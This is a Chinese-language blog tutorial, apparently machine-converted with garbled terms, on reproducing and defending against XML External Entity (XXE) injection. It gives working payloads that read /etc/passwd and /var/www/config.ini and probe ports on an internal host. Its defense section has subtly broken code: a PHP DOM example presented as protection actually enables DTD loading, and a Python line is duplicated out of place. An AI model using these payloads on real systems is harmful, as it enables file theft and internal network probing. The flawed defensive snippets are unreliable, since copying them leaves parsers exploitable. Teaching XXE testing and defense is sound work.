XXE漏洞復現步驟
0X00XXE注入定義
XXE注入,即XML External Entity,XML外部物體注入,通過 XML 物體,”SYSTEM”關鍵詞導致 XML 決議器可以從本地檔案或者遠程 URI 中讀取資料,所以攻擊者可以通過 XML 物體傳遞自己構造的惡意值,是處理程式決議它,當參考外部物體時,通過構造惡意內容,可導致讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等危害,
0X01漏洞原理
既然XML可以從外部讀取DTD檔案,那我們就自然地想到了如果將路徑換成另一個檔案的路徑,那么服務器在決議這個XML的時候就會把那個檔案的內容賦值給SYSTEM前面的根元素中,只要我們在XML中讓前面的根元素的內容顯示出來,不就可以讀取那個檔案的內容了,這就造成了一個任意檔案讀取的漏洞,
那如果我們指向的是一個內網主機的埠呢?是否會給出錯誤資訊,我們是不是可以從錯誤資訊上來判斷內網主機這個埠是否開放,這就造成了一個內部埠被探測的問題,另外,一般來說,服務器決議XML有兩種方式,一種是一次性將整個XML加載進記憶體中,進行決議;另一種是一部分一部分的、“流式”地加載、決議,如果我們遞回地呼叫XML定義,一次性呼叫巨量的定義,那么服務器的記憶體就會被消耗完,造成了拒絕服務攻擊,
0X02漏洞復現
發送測驗代碼到測驗服務器
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>
在有回顯的情況下,該服務器的/etc/passwd檔案就會被泄露,
此時發現有回顯,開始測驗xxe漏洞,抓取資料包發現post一個xml檔案

將xml代碼換成測驗的xml代碼
將其提交發現有回顯,回顯內容是xml代碼里面的函式訪問檔案夾的內容,

修改xml內容進行埠檢測,
<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "http://192.168.1.42:801">]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

發現801埠關閉
<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "http://192.168.1.42:80">]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

發現80埠開啟
0X03漏洞防御
1.使用開發語言提供的禁用外部物體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.過濾用戶提交的XML資料
對變數:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC進行過濾.
例如,讓我們來試著定義一個新的自定義物體“harmless”,
<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>
現在,包含這個物體定義的XML檔案可以在任何允許的地方參考&harmless;物體,
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
XML決議器,例如PHP DOM,在決議這段XML時,會在加載完檔案后立即處理這個自定義物體,因此,請求相關文本時,會得到如下的回傳:
This result is completely harmless
下面的這個就肯定不是無害的輸入:
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results>
3.檢查所使用的底層xml決議庫,默認禁止外部物體的決議
4.使用第三方應用代碼及時升級補丁
5.同時增強對系統的監控,防止此問題被人利用
對于PHP,由于simplexml_load_string函式的XML決議問題出在libxml庫上,所以加載物體前可以呼叫這樣一個函式
<?php libxml_disable_entity_loader(true); ?>
以進行防護,對于XMLReader和DOM方式決議,可以參考如下代碼:
<?php // with the XMLReader functionality: $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality: $dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); ?>> <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/3957.html
標籤:訊息安全
下一篇:使用GDAL/OGR讀寫矢量檔案
